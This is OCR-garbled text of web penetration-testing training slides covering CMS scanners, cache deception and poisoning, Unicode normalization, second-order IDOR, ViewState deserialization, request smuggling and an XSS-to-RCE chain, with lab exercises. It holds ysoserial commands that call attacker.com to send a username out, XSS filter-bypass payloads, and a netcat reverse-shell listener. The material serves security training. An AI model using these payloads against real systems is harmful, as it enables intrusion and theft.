JoomScan is an automated vulnerability scanner to find vulnerabilities
in Joomla applications. This tool can be used to find the following
information:

 Joomla Running Version

* Vulnerable/Outdated Plugins (if in use)

--=[Code name : Self Challenge

° Sensitive FileS and FOIdeI‘S @OWASP_JoomScan , @rezesp , @ALli_Razmjo@ ,

Processing http:// N ...
Command:

. [+] FireWall Detector
Joomscan —--url [++] Firewall not detected

http://cms.webhacklab.com/ -ec

[+] Detecting Joomla Version

[+] Core Joomla Vulnerability

@OWASP




DroopeScan

Droopescan is a plugin-based scanner that aids security researchers in
identifying issues with several CMSs, mainly Drupal & Silverstripe. This tool
can be used to find following information:

* Plugins installed in the CMS
e Themes installed in the CMS
e Version Information

e Sensitive Files and Folders

Droopescan can be operated from a terminal window and is based on python NotSoSecure part of

programming language claranet
/cyber_

security

© NotSoSecure 2021 Global
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DroopeScan Usage

To scan the application:
droopescan scan drupal -u http://192.168.1.10/ -t 8

[+] No themes found.

[+] Possible interesting urls found:
Default changelog file - http://19%2.1668.1.10/CHRANGELOG. txt
Default admin - http://192.168.1.10/user/login

[+] Possible wersion(s):
7.34

[+] Plugins found:

views http://192.168.1.10/sites/all/modules/views/
http://192.168.1.10/s5ites/all/modules/views/README. txt
http://192.1668.1.10/sites/all/modules/views/LICENSE. txt

token http://19%2.168.1.10/s5ites/all/modules/token/ NotSoSecure part of
http://192.168.1.10/s5ites/all/modules/token/README. txt claranet
http://192.168.1.10/sites/all/modules/token/LICENSE. txt @cyber

pathauto http://15%2.168.1.10/sites/all/modules/pathauto/ security
http://192.168.1.10/s5ites/all/modules/pathauto/README. txt
http://192.168.1.10/sites/all/modules/pathauto/LICENSE. txt

© NotSoSecure 2021 Global
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CMSMap

CMSMap is a python open source CMS scanner that automates the
process of detecting security flaws of the most popular CMSs. This tool
can be used to find following information:

* Plugins installed in the CMS
e Themes installed in the CMS
e Version Information

e Sensitive Files and Folders

NotSoSecure part of

claranet
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Penetration Testing Methodology for CMS

 Automated
Open source tools/scripts
Burp Extension
* Manual
|dentify the version and validate existing issues to the vulnerable version
|dentify the version and review the source code

Observe the requests and identify the URL/Parameters which can be
modified/added as a customization portion.

NotSoSecure part of
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Pentesting Hardened CMS

+ Identify and exploit Vulnerabilities in WordPress
Instance

 Fetch the databases from a database server

Challenge URL.:
http://cms.webhacklab.com/wordpress/

Exercise




M Web Cache and Cache keys

Web Cache Deception

Module

Web Cache
Attacks

Web Cache Poisoning




Web Caching

What ? A cache is a temporary storage area

e For example, the files you automatically request by looking at a Web
page are stored on Reverse proxy, CDNs , a load balancer etc.

Why ? To store files that are often retrieved, to reduce latency from the web
server
Time User Cache Website

claranet
/ cyber
security

. . Refgrenge: © NotSoSecure 2021 Global
https://portswigger.net/blog/practical-web-cache-poisoning Services Ltd, all rights reserved

= - @
=




Cache Keys

* Itis a unique string that caching service look for your content when
requests hit them

 Similar to databases, think of this as the primary key we would use
to find your files in the cache

* Based on cache keys, whenever a cache receives a request for a
resource, it needs to decide whether it has a copy of this exact
resource already saved and can reply with that, or if it needs to
forward the request to the application server

* made up of a few different pieces
(like origin hostname, path, and filename)

NotSoSecure part of

claranet
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Cache Keys

Request

Response

Caching
Proxy

Web
server

Cache Keys to determine whether
serve cache or fetch from
application server

Reference:
https://portswigger.net/blog/practical-web-cache-poisoning

NotSoSecure part of
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Relevant Security Issues

* Web Cache Deception to expose your sensitive data

* Web Cache Poisoning to Perform XSS, redirect, Phishing
attacks etc.

NotSoSecure part of
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Web Cache Deception

O o o

Target requests

http://www.example.com/index.php/non-existent.css Web Server returns the content
http://www.example.com/index.php

s
7] ©

Proxy Server caches the Response
because requested URL pointed to
Public static files

NotSoSecure part of

Attacker browses to claranet
http://www.example.com/index.php/non-existent.css cyber
To retrieve sensitive details of the victim security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Relevant Security Issues

1. On accessing a page like
http://notsosecure.com/index.php/nonexistent.css, the web
server should return the content of index.php for that URL

2. The target user must be logged in (authenticated )while
accessing the malicious URL

3. Web cache functionality should be set for the web application
to cache files by their extensions, disregarding any caching
headers

NotSoSecure part of
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Web Cache Deception

« ldentify Web Cache Deception vulnerability to
access sensitive content without authentication,
which would otherwise be only accessible to an
authenticated User

Challenge URL.:
http://Iwebcache.webhacklab.com:8080/login.php

Demo



Case Study

Web Cache Deception Attack

®* PayPal was vulnerable to this attack.
®* PIl and Private details could be Cached.

* Bounty awarded 3000%

P PayPal: Settings X [N
€« C' | £ PayPal, Inc. us]| https://www.paypal.com/myaccount/settings/m
' PayPal Summary Activity Send & Request Payments Wallet Shopping

Account Security Payments Notifications

Profile Address

Omer Gil

Joined in 2014 Edit
Primary, Billing address
Edit | Remove

Update Photo

Reference:
http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html




Web Cache Poisoning

A generic approach to cache poisoning works like below:

Search for and exploit flaws in the code, allowing us to place
illegitimate data in unkeyed inputs such as headers in the
HTTP header field

Flush out legitimate cached content from the cache server

Send a specially crafted request - or malicious data such as a
forged response - to the cache server

The Malicious data is stored in the cache

NotSoSecure part of
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Finding Cache Poisoning vulnerabilities

Detect unkeyed
input

Explore input
potential

Inject
into cache

Map cache Find
rules target page

Reference:
https://portswigger.net/blog/practical-web-cache-poisoning

NotSoSecure part of
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Web Cache Poisoning

« ldentify whether there are any unkeyed input used
by the application and server caches the output for
the same. Edit those unkeyed inputs with malicious
payloads to do the following to random user when
poisoned cache is requested

« Perform Cross site Scripting

« Execute malicious script from remote location
controlled by us

Demo

Steal Credentials through Form submission to
remote location controlled by us

Challenge URL.:
http://webcache.webhacklab.com/



‘ (M Unicode Normalization attacks
Q Second Order IDOR attack
Exploiting misconfigured code control systems

(M HTTP Desync attack
Module: Attack chaining
Miscellaneous
Vulnerabilities And relevant Case Study




Unicode Origins

 Early days characters were encoded to support a given language
* Charset of one region was incompatible with another
* Eg. Chinese charset would be incompatible with English

e To overcome this issue Unicode Standard was introduced

NotSoSecure part of
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Unicode in Applications

* Unicode maintains the consistency of encoding and
representation of test for system interpretation

 Enables cross compatibility
* Unicode is supported in most of the modern applications

* These Unicode's are Normalized and Punycoded to identify them
apart when converting from unicode to ASCII

NotSoSecure part of
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Unicode in Applications

 Each character/symbol is mapped to a numeric value “Code Point
 Each language maps all the characters and symbols accordingly

* Different languages have a varying amount of chars/symbols,
resulting into more bytes for code point

* Unicode is very complex standard:

Code Points Cannonical Mappings
Encodings Decomposition Types
Normalization Best-Fit mapping

Case Mapping Bi-direction properties

NotSoSecure part of
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Example of Unicodes

©
®
o
()
pudt
-]
[$]
Q
(7))
(*}
0
i
(e]
<

claranet

cyber
security

Y%

Reference:

https://www.rapidtables.com/code/text

© NotSoSecure 2021 Global
Services Ltd, all rights reserved

/unicode-characters.html
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Sample Conversions

HTML Entity: &#173827;
&#EX2ATO3;
sl UTF-8 Encoding: OxFO OxAA Ox9C 0x83
UTF-16 Encoding: OxD869 OxDF03
UTF-32 Encoding: Ox0002A703
HTML Entity: &#8448,
&#x2100;
a UTF-8 Encoding: OxE2 Ox84 0x80
' . NotSoSecure part of
UTF-16 Encoding: Ox2100 —
( : wclaranet
UTF-32 Encoding; Ox00002100 cyber
security
Decomposition: a (U+0061) - / (U+002F) - ¢ (U+0063)4

© NotSoSecure 2021 Global

Services Ltd, all rights reserved




When good input turns bad

* Certain unicode characters could normalize to ASCII having
syntax significance for some functionality

Unicoded values Normalised value
% alc
M M
™ ™
NotSoSecure part of

claranet
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When good input turns bad

* Leverage unicode chars to bypass app functionalities

WEEMOX)
WEe®®
wEErX®

O,

U+24E7

userX
userX

userX

Decomposition u

U+0078

NotSoSecure part of

claranet
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Case Study

Spotify Account Hijacking

® Target account name: bigbird
® Attacker created an account : BIGBIRD
® Requested password reset for ‘BIGBIRD’

® Attacker got a reset link in email, followed the link
and set a new password

® Password was successfully changed for both
BIGBIRD and bigbird accounts

® [ssue was normalizing BIGBIRD converts to
BIGBIRD ( CAPS) and on reset password re-
normalizes to bigbird ( small ) hence password
for another account was changed

Reference:
https://labs.spotify.com/2013/06/18/creative-usernames/



Case Study

Spotify Account Hijacking

Find a user account to hijack. For our example let us
hijack the account belonging to user ‘bigbird’

Create a new spotify account with username BIGBIRD
(in python this is the string
u\uld2e\uld35\uld33\uld2e\uld35\uld3f\u1d30)

Send a request for password reset for your new account

A password reset link is sent to the email you registered
for your new account. Use it to change the password

Now, instead of logging in to account with username
BIGBIRD, try logging in to account with username ‘bigbird’
with the new password

Success! Mission accomplished

Reference:
https://labs.spotify.com/2013/06/18/creative-usernames/



Case Study: Spotify Account Hijacking

What exactly happened ?

>>> canonical username(u’\uld2e\uld35\uld33\uld2e\uld35\uld3fiuld3e’)
u'BIGBIRD'
>>> canonical username(canonical username(u'\uld2e\uld35\uld33\uld2e\uld35\uld3fiuld3e’))

u'bigbird’

e Unicode account BIGBIRD s canonicalized to BIGBIRD and stored
In database

* Reset password feature canonicalized the ‘BIGBIRD’ to ‘bigbird’
which is another user in the database

NotSoSecure part of
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Unicode Normalization Attack

« EXxploit the forgot password functionality to login
as userxX

Challenge URL.:
http://reimbursement.webhacklab.com/

Account/ResetPassword

Exercise




Insecure Direct Object Reference

e |IDOR arise because of access control issues

* IDOR vulnerabilities found commonly by:
Parameter tampering
Forced Browsing

* Successful attack will provide access to other users data.

NotSoSecure part of
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Second Order IDOR

* In Second-order IDOR a page accepts user supplied input,
other page or functionality executes that input

* This vulnerability occurs when a server stores the value first
and then validates the authorization of user

 |fthe authorization of the request is valid then server
respond with requested data

NotSoSecure part of
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Standard Workflow

Expense file
content based
on ID

Display expense
file details in
browser

/LoadExpenseFile? _Redirectto

id=1 /IExpense/Success

NotSoSecure part of
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Error Handling Flow

Expense file
content based

Display expense

ilan Redirect to ID
fhost E);gfgseFlle. /IExpense/Success — file details in
B browser
/LoadExpenseFile? : Error message No data found!
S /[Expense/Failure :
id=2 Try again later!
Modify the ID
parameter NotSoSecure part of
/LoadExpenseFile? T
igzl claranet
cyber
security
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Case Study

Second Order IDOR

® User requests for a valid document having id X

® Server stores the id in cache, and validates
authorization for request

® If authorization is valid then server responds with
‘[Expense/Success’ redirection else ‘/Expense/Failure’.

® User sends request for document X first and holds the
response, then sends another request for document Y
(belongs to other user) and not forward the success
response for redirection.

Reference:
https://blog.usejournal.com/a-less-known-attack-vector-second-order-idor-attacks-14468009781a



Second Order IDOR

show_receipt.aspx.cs

receiptId = GetReceiptIdFromURL ()
Session["receiptId"] = receiptld:
if (CurrentUser.COwns (receiptId))
{

redirect recelipt success.aspx;

}

else

{
redirect receipt error.aspx;

¥

receipt_success.aspXx.cs

receiptId = Session["receiptId"]:
return ReadReceipt (receiptId):

"
r

Reference:
https://blog.usejournal.com/a-less-known-attack-vector-second-order-idor-attacks-14468009781a

NotSoSecure part of
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Attack

Capture Hold

Display expense

/LoadExpenseFile? 9

S . /IExpense/Success , file details in
id=1 Redirect to Expense file b
content based rowser
on ID
e Send to
Repeater
/LoadExpenseFile? 9 /LoadExpenseFile? e :
S o . /[Expense/Failure
id=1 Modify id=2 Redirect to

NotSoSecure part of
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Second Order IDOR

« Exploit Second-order IDOR to view
reimbursement details of another user on the
application who owns id =1

Challenge URL -
http://reimbursement.webhacklab.com/
Expense/LoadExpenseFile?id=

Exercise

* Note: ID parameter passed is incremental.




Git

It's a version control system
Designed to track changes in code.
Used extensively to manage code.

Decentralized code control system.

NotSoSecure part of
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Misconfigured Git

Misconfiguration of Git leads to:

Exposure of modification made to files and folders
Source code exposure

Exposure of Secret key, credential in Git history
Exposure of Hardcoded secrets in source file

Exposure of Hardcoded secrets in configuration file
like web.config

NotSoSecure part of
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Manually confirming a .git exposed bug

* Directly access "“.git/config’, ‘.gittHEAD’ , “.qgit/logs/HEAD’ etc

webhacklab.com

ref: refs/heads/master

webhacklab.com 150% see g I 0 ®

repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "origin"] NotSoSecure part of
url = https://Sanjay-NSS@bitbucket.org/nssawh/awh-dot-net- S —
books.git claranet
fetch = +refs/heads/*:refs/remotes/origin/* wcyber
[branch "master"] Securit
remote = origin y
merge = refs/heads/master

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Utilities for pentesting exposed .qgit

git-finder
git-dumper

git-extractor

usage: git-dumper.py [options] URL DIR

Dump a git repository from a website.

positional arguments:
URL
DIR

optional arguments:
-h, --help
--proxy PROXY
-j JOBS, --jobs JOBS

url
output directory

show this help message and exit
use the specified proxy
number of simultaneous requests

-r RETRY, --retry RETRY

number of request attempts before giving up

-t TIMEOUT, --timeout TIMEOUT

maximum time in seconds before giving up

NotSoSecure part of
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ViewState Deserialization

* Default method to preserve page and control values between pages

* ViewState is a serialized value encoded and encrypted using
MachineKey

®* Exposed MachineKey may allow to perform RCE using YSoSerial. NET
* Viewstate property can either be :
o Cleartext [ MAC not enabled |]

o MAC enabled

NotSoSecure part of

o Encrypted @ g?brgpet
security
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Scenarios for exploiting Deserialization Flaws

: MAC Encryption : How to identify

1 Any False False Not required Not applicable

2 <45 True False Required Blacklist3r

3 <45 True / False True Required gl:\;:ekll(i)sgire—nliuture
True False

4 >=4.5 False True Required Blacklist3r

NotSoSecure part of

True True T~ 1.

. . claranet
/cyber_

security
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MAC Not Enabled

Request

[ Raw T Params T Headers T Hex TVlewState ]

[ Go. ] | cancel | [ -<iv.] [ > Target: http://192.168.1.102:8090 | 7]

v ViewState v2.0 compatible [MAC is not enabled]
v Pam
v Pair
string -921640512
v Pair
null

ysoserial.exe -0 base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c
"powershell.exe Invoke-WebRequest -Uri http://attacker.com/S$env:UserName"

NotSoSecure part of
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MAC Enabled

Target: http://192.168.1.102:8090

] Go | Cancel < v > |

Request
[ Raw T Params T Headers THex TViewState ]
- _
v <html><p><b>&nbsp;ViewState v2.0 compatible&nbsp;&nbsg[MAC enabled]k/b></p></html>
v Pair
v Pair
string -921640512
v Pair

null

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe
Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --

validationalg="SHAIl" --validationkey="XXXXXXXXXXXXXX"

NotSoSecure part of

claranet
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MAC Encrypted - .Net >=4.5

Go | Cancel | <|[v | >|v Target: http://192.168.1.102:8090 .~ (?7)

Request

[Raw T Params T Headers T Hex TViewState ]

<html><p><b>&nbsp;Unrecognized format 4+ may be encryptedk/b></p></html>

¥ T

0 dc bd 4c 8a ef bd 2f 1d 50 4c 6c 41 44 a4 e9 15 UKL iY%/YLIADxé

- A - n - A= ~a = (Fal - -1 -~ IL_a i~ = ] - A 15 o~ A L LW P

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe

Invoke-WebRequest -Uri http://attacker.com/S$Senv:UserName" --

path="/content/default.aspx" --apppath="/" --decryptionalg="AES" -- NotSoSecure part of
decryptionkey="XXXXXX" --validationalg="SHAl1l" --validationkey="XXXX"

claranet
/ cyber
security
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Leverage git misconfiguration
to ViewState RCE

« Leverage Git misconfiguration to extract the
Machine Key

« Exploit ViewState to perform remote code
execution(RCE)

Challenge URL.:
http://books.webhacklab.com/.git

Exercise




HTTP Request Smuggling

* Atechnique for interfering with the way a website processes
sequences of HTTP requests that are received from one or more users

®* Request smuggling vulnerabilities are often critical in nature, allowing
an attacker to bypass security controls, gain unauthorized access to
sensitive data, and directly compromise other application users

®* In modern applications, user’s requests are coming via front-end
servers (e.g. Load balancer or any interim proxies) to back-end
servers

NotSoSecure part of
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HTTP Stream aka HTTP Pipeline

Web Server
Back End

Load Balancer
GET /HTTP/1.1 Front End
POST /HTTP/1.1 GET/ POST/ GET/ POST/
HTTP/1.1 HTTP/1.1 HTTP/1.1 HTTP/1.1
( GET /HTTP/1.1 }/'

POST /HTTP/1.1




HTTP Stream - Boundaries

Web Server
Back End

Load Balancer
GET /HTTP/1.1 Front End i i i
POST /HTTP/1.1 GET/ POST/ GET/ POST/
HTTP/1.1 I HTTP/1.1 I HTTP/1.1 I HTTP/1.1
( GET /HTTP/1.1 }/'

POST /HTTP/1.1




Boundaries - Content-Length and Transfer-Encoding

Web Server
Back End

Load Balancer
GET/HTTP/1.1 Front End i i i
POST /HTTP/1.1 GET/ POST / GET/ POST/
HTTP/1.1 I HTTP/1.1 I HTTP/1.1 I HTTP/1.1
( GET /HTTP/1.1 }/'

POST /HTTP/1.1

Transfer-Encoding: chunked
Transfer-Encoding: compress
Content-Length: <length> Transter-Encoding: deflate

Transfer-Encoding: gzip

Transfer-Encoding: identity



Desynchronised Communication — Request Smuggling Attack !

RFC 2616 HTTP/1.1 June 1999

header field is present). If & message is received with both a
Transfer-Encoding header field and & Content-Length header field,
the latter MUST be ignored.

Reference:
https://tools.ietf.org/html/rfc2616#section-4.4.3

Front End Server Back End Server

GET Jadmin HTTP/1.1
Foo: X

GET fadmin HTTP/1.1
Foo: X

Reference:
https://portswigger.net/web-security/images/http-request-smuggling.svg



HTTP Request Smuggling - How to Identify?

® Headers to check
o Content-Length and
o Transfer-Encoding

® Send the above two headers in a Single Request which can be processed
differently at Back-end and Frontend

® This DeSync between the front-end and back-end servers can be exploited using
the following permutations:

Type Front-end Back-end

CL.TE Content-Length Transfer-Encoding

TE.CL Transfer-Encoding Content-Length

TE.TE Transfer-Encoding Transfer-Encoding NotSoSecure part of
claranet
cyber

Burp Extension: HTTP Request Smuggler: https://github.com/portswigger/http-request-smuggler security

Smuggler.py: https://github.com/gwen001/pentest-tools/blob/master/smuggler.py © NotSoSecure 2021 Global

Services Ltd, all rights reserved



https://github.com/portswigger/http-request-smuggler

HTTP Request Smuggling - Defence

®* Frontend and Backend must exclusively communicate over
HTTP/2.0

®* Backend must disable processing of ambiguous requests

®* Configure your proxies to re-calculate content-length headers
and identify mangled/smuggled requests and reject it

®* Have your Frontend and Backend servers synchronized on
headers that can be accepted

NotSoSecure part of
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HTTP Request Smuggling Attacks

® Slack: https://hackerone.com/reports/737140

®* CL.TE - Content-Length on front-end and
Transfer-Encoding on back-end.

® Mass account takeovers using HTTP Request
Smuggling

CaS o St u d y o https://slackb.com/

o Steal session cookies



HTTP Desync Attacks

« Discover the Cross-Site Scripting vulnerability.

 Perform HTTP Desync Attack to get the Cross-Site
Script executed when a new user Visits.

Challenge URL.:
http://covid19.webhacklab.com:5000/

Demo



HTTP Request Smuggling — Exercise Caution!

Unlike most classes of web vulnerability, even flawed request
smuggling attacks can have side effects. This makes live websites a
poor choice of training ground for anyone looking to gain request
smuggling experience

https://portswigger.net/research/http-desync-attacks-request-smuqqling-reborn

For testing on client websites utilize the PoC and the Smuggled 404
requests on unkeyed inputs so that the rest of the website is unaffected

You can try bypassing certain restrictions but ensure that you send
enough good requests later so that others visiting the site don't get your
intended responses

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Interesting XSS and CSRF Attack Vectors

This section includes case studies and examples of interesting
Cross Site Scripting (XSS) and Cross Site Request Forgery
(CSRF)

. Blind/Second Order XSS
« AirBnB XSS Filter Bypass

NotSoSecure part of
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Case Study

Blind/Second Order XSS

The application allows user to inject <script> tags in the
profile however the payload does not execute on the client’s
profile

® Attacker can inject payload in the user profile page in first
name and last name parameter

® Attacker hosts a malicious javascript and injects it through
the payload: "><script src=//y.vg></script>

® The execution point of the XSS is the admin portal

® Attacker calls customer call center regarding some issue
with the account. Once the support staff opens the admin
portal the payload executes and the attacker receives a
request for the javascript

Reference:
https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-
blind-xss/index.html



Case Study

AirBnB XSS Filter Bypass

The application striped any tag being injected, which was
bypassed using ‘;’
;</script><u>testl123

Using null-bytes further WAF protections were bypassed
and they still work due to application stripping them out
;<sc%$00ript/test="asdf’ /te$00st2="asdf’>al
ert/**/(1l)</script>

However Content-Security Policy (CSP) still blocks
execution of content in src attribute of different tags
;</script><img/test='asdf'/sr%$00c=""'/0on%00
error=prompt>

Reference:
https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-
auditor-turns-into-eight-vulnerabilities/



AirBnB XSS Filter Bypass

IMG, FRAME and SCRIPT sources are not allowed, however
embed tag is:

® Initial payload
;</script><embed/test="'"'/allowscr%00iptacc
ess='always'/s%00rc="//abc.xxx/xss.swf'//>

® Universal payload to bypass Chrome Auditor
;</script><em;<;>;<embed
Case Stu d /test=""'/+allowscript%00acces%00s="'al%00%0
)/ Oways'+%09%00s%09r%00c="//abc.xxx/xss.swf'
><em; &city-link-
1ndex=&1d=9978655"+on%00error=als00erts00 (
1)"

Reference:
https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-
auditor-turns-into-eight-vulnerabilities/



Stored XSS and Remote Code Execution

®* Pandora FMS monitoring software

®* Observations:
o Application vulnerable to Stored XSS

o Admin File Manager vulnerable to relative path
Injection

®* Chaining Bugs:
Step 1: Tricking the Admin to access the XSS endpoint
CaS e St U d y Step 2: Executing the Attacker Script to Upload a
malicious file
Step 3: Getting a reverse shell

Reference:
https://kdm1ll0.com/cve-pandorafms754-chained-xss-rce.html



Stored XSS and Remote Code Execution — File Manager Bug

* File Manager allows the following admin features:
* Create or delete folders
* Delete files
* Create empty files

File manager

1 Index of images
* Upload files ¢
Index of images
Name Last modification
EE backerounds May 25, 2021, 4:32 pm
B ciory May 25, 2021, 3:58 pm
' console

Create a Directory
Create a Text Upload Files

l custom_favicon

' custom_logo

! custom_logo_login
' ehorus

! first_task

B =smep May 25, 2021, 3:58 pm

Reference:
https://kdm1ll0.com/cve-pandorafms754-chained-xss-rce.html



File Manager Bug

* Uploading a PHP file does not execute due to secure folder permissions:

apache apache 43287 : install .done
apache apache 1496
apache apache 1896
apache apache 1496

May 25, 2021, 11:44 pm [root@localhost pandora_consolell ls
total 1764
& tckpng April 30, 2021, 3:44 pm 18 apache apache 1096
3 root root 1896
B o carkpng PR Soe 1 apache apache 5415 :44 a jax.php
B cotrpng — 6 apache apache 4896 - :
1 apache apache 534 : AUTHORS
B tick sound_events.png April 30, 2021, 3:44 pm 1 apache apache 585 : COmMpOSEr. json
1 apache apache 16883 : composer. lock
B cickwhitepng OboniNg TAELPHD 1 apache apache 14875 : COPYING
1 apache apache 566 : DB_Dockerfile
B cime-entry.png You have chosen to open: Z a]]ﬂ.:]]e El]]fl[:]]E! 4896
Bl o test.php 1 apache apache 3366 44 docker_entrypoint.sh
which is: PHP file (30 bytes) -rw-r--r--. 1 apache apache 1263 : Dockerfile
B tp-blancopng Sl e L 1RE 00 drwxr-xr-x. 11 apache apache 4896 ‘
druxr-xr-x. 4 apache apache 1096
E tip.png What should Firefox do with this file? 2 El]]ﬂ.C]]E: El]]ﬂl::]'lf? 4896
© Open with Sublime Text (default) () 5 apache apache 4096
B cp.porderpg Save File 1 apache apache 382 :44 _gitignore
B tipgreypng Do this automatically for files like this from now on. Z1 El]]ElthE‘.' El]]ElC]'IE 4896
1 apache apache 1683 : htaccess
tip_help.png 24 apache apache 36864
- Cancel - (CIIED £1 a_]];ar:he all;ache 1196
B torop.menupng G 1 apache apache 52988 : index.php
1
2
5
3]

[

Reference:
https://kdm1ll0.com/cve-pandorafms754-chained-xss-rce.html



File Manager Bug

* File Manager relative path bug allows to create a file outside the Image root path

t[ruutﬂlucalhust pandora_consolelt ls
;tutal 1768

drwxr-xr-x. 19 apache apache 4896

drux<r —xr-x. root root 4896
I 4" Sl i apache apache 5415 : a jax.php
dru<r —xr-x. apache apache 4896 :
4 Sl Gt apache apache 034 : AUTHORS
Create a Directory Create a Text Upload Files 4 Sl Gt apache apache o855 : COMpPOSEr . json
4 Sl Gt apache apache 16883 : composer . lock
4 Sl Gt apache apache 14875 : COPYING
M- apache apache 586 : DB_Dockerfile
dirnar —xa-x. apache apache 4896 :
M- --r-—. apache apache 3366 : docker_entrypoint.sh
-/_K44 M- apache apache 1263 : Dockerfile

dirnae —xa-x. apache apache 4896

Create drupa —xar-x. apache apache 4896
drupa —xr-x. apache apache 4896
I 4 Sl S apache apache 382 : .gitignore

druna —xr-x. apache apache 4896

I 4 Sl apache apache 183 : htaccess
drw<r-xr-x. apache apache 36864

drux<r-xr-x. apache apache 4896

I 4" S i apache apache 52988 : index.php
“Pl-r--r--. apache apache 43287 : install.done
Arusar —xr-x apache apache 4896

drar —xr-x.
Ao —xar—x.,

9
3
1
6
1
1
1
1
1
2
1
1
1
driar-xr-x. 4 apache apache 4896
2
5
1
1
1
4
1
1
1
2z
z
5

apache apache 44906
i li 4096 _Ma

Reference:
https://kd4m1ll0.com/cve-pandorafms754-chained-xss-rce.html



Exploitation: File Manager Bug

f Request to http://192.168.0.50:80

Forward l Drop Intercept is on Action || Open Browser

Pretty m \n  Actions v

1|pPoST /pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file manager| HTTP/1.1
2 Hos -0.50

gent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0
4 BAccept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;q=0.8

User-

> Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data; boundary=.

31761489225575881621989389104

Origin: http://192.168.0.50
) Connection: close
11 Referer: http://192.168.0.50/pandora_console/index.php? g

5
6
8 Content-Length: 1268
9
0

Cookie: PHPSESSID=scaetlda7latmlihlntv53avel
Upgrade-Insecure-Requests: 1

31761489225575881621989389104

7 Content-Type: text/php

<?php echo "kd4mlll0_ test"; 2>

31761489225575881621989389104
Content-Disposition: form-data; name="umask"

--31761489225575881621989389104
Content-Disposition: form-data; name="decompress_sent"”

1
--31761489225575881621989389104
Content-Disposition: form-data; name="go"

Go
--31761489225575881621989389104
Content-Disposition: form-data; name="real directory"

J":I."var."wwwfhtmlfpandura console/images/../ Ka4 |
37 —-—— ——3176T489225575861621989389104
38 Content-Disposition: form-data; name="directory"

__________ 31761489225575881621989389104
on: form-data; name="hash"

44 gab%al2b08e95f7dla23cfaafl98edld

45 --31761459225575531621989389104
46 Content-Disposition: form-data; name="hash2"

47

48 3976ae502982bcaB5302c6766£c340ec

49 --31761489225575881621989389104
50 Content-Disposition: form-data; name="upload_file or_zip"

51

521

53 --31761489225575881621989389104--
54

/setup/file_manager

5 Content-Disposition: form-data; name="file"; filename="test.php"

Upload a php file by exploiting relative path injection.

192.168.0.560/pandora_console/_K

< C @

k4m1110_test

X +

© /& 192.168.0.50

Reference:
https://kdm1ll0.com/cve-pandorafms754-chained-xss-rce.html



Finding: Low Level User XSS

* Visual Console Endpoint was vulnerable to XSS

192.168.0.50

Reference:
https://kdm1ll0.com/cve-pandorafms754-chained-xss-rce.html



Chaining of Exploit

/ 3. It automatically downloads and executes the JavaScript 2. An admin visits the Visual Console i\

5. It opens a reverse shell 4. It uploads and executes PHP code

<€

Admin

Attacker Controlled
Machine

1. Attacker creates Malicious Visual Console

wcker /

Reference:
https://kdm1ll0.com/cve-pandorafms754-chained-xss-rce.html



Setting up the exploit Environment

Name: <script src="http://192.168.0.11/k44.js" /> |
Group Applications
Background None
Background image Browse... Nofile selected.
No file selected.
Background colour white I:l
Layout size: 1024 x 768 Set custom size

Favourite visual console

Save

k4mlll@@Kamillos-MacBook-Pro demo % python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]1:80/) ...

k4m1110@Kamillos-MacBook-Pro ~ % nc -1 0.0.0.0 2000

Reference:
https://kdm1ll0.com/cve-pandorafms754-chained-xss-rce.html



Once Admin accesses the Visual Console XSS Triggers

@ Pandora FMS - the Flexible Mo X

@ © |/ 192.168.0.50/pandora_consolefindex.php?sec=network&sec2=operat [E] | eee o

Pandora FMS
the Flexible Monitoring System

Ty

k4m1110@Kamillos-MacBook-Pro ~ % nc -1 0.0.0.0 2000
bash: no job control in this shell

bash-4.2% id

id

N Source code of js file is on the blog

ip addr

1: 1lo: <LOOPBACK,UP,LOWER_UP> nrtu 65536 qdisc nogueue state UNKNOWN group default glen 1000 https://k4ml||O_COm/Cve_pandorafmS754_Chained_

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo -
valid_lft forever preferred_lft forever XSS rcehtml
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LONER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default glen 1000
link/ether 00:0c:29:€9:40:77 brd ff:ff:ff:ff:ff:ff
inet |192.168.0.50/32 |scope global ens33
valid_lft forever preferred_lft forever
inet 192.168.0.56/24 brd 192.168.0.255 scope global noprefixroute dynamic ens33
valid_lft 2514sec preferred_1ft 2514sec
inet 192.168.0.55/24 brd 192.168.0.255 scope global secondary noprefixroute dynamic ens33
valid_lft 2476sec preferred_1ft 2476sec
inet 192.168.0.54/24 brd 192.168.0.255 scope global secondary noprefixroute dynamic ens33
valid_lft 2334sec preferred_1ft 2334sec
inet6 2001:4c4c:132e:1400::217/128 scope global noprefixroute dynamic
valid_lft 2947sec preferred_lft 1147sec
inet6 2001:4c4c:132e:1400:f02b:a3ef:f446:44c1/64 scope global noprefixroute dynamic
valid_1ft 1209212sec preferred_Lft 604800sec
inet6 fe80::4ea8:25d2:76c7:a850/64 scope link noprefixroute
valid_lft forever preferred_lft forever
bash-4.2
’ Reference:

https://kdm1ll0.com/cve-pandorafms754-chained-xss-rce.html




Case Study

Chaining Vulnerabilities (GitHub)

Attacker used following four vulnerabilities for RCE:

1.

2
3.
4

SSRF in External Application
SSRF in Internal Graphite Application
CRLF Injection in Python

Unsafe Deserialization

Result: Remote Code Execution (RCE)

Reference:
